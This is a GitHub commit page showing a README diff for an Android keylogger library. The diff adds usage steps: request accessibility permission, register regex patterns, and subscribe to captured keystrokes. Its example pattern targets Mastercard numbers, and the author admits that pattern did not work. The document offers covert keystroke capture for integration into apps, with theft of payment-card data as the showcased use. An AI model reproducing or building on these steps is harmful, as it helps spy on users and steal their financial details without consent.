Skip to content

Commit ade14d4

Browse files
Merge pull request #10 from evilthreads669966/feature_pattern_matchers
feature_pattern_matchers
2 parents 3e336fb + 5b8de0e commit ade14d4

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

README.md

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,14 +12,25 @@ allprojects {
1212
2. Add the dependency to your app's build.gradle
1313
```gradle
1414
dependencies {
15-
implementation 'com.github.evilthreads669966:android_keylogger:1.2'
15+
implementation 'com.github.evilthreads669966:android_keylogger:1.3'
1616
}
1717
```
1818
3. Request the accessibility service permission for your app.
1919
```kotlin
2020
Keylogger.requestPermission(this)
2121
```
22-
4. Subscribe to keystrokes
22+
4. (optional) Add any regular expressions to match
23+
```kotlin
24+
//mastercard
25+
//but this pattern wasn't working for me upon development. I am not very good with them.
26+
Keylogger.addPattern("^5[1-5][0-9]{14}\\$")
27+
```
28+
```kotlin
29+
Keylogger.subscribe { entry ->
30+
//do something with keystrokes here
31+
}
32+
```
33+
5. Subscribe to keystrokes
2334
```kotlin
2435
Keylogger.subscribe { entry ->
2536
//do something with keystrokes here

0 commit comments

Comments
 (0)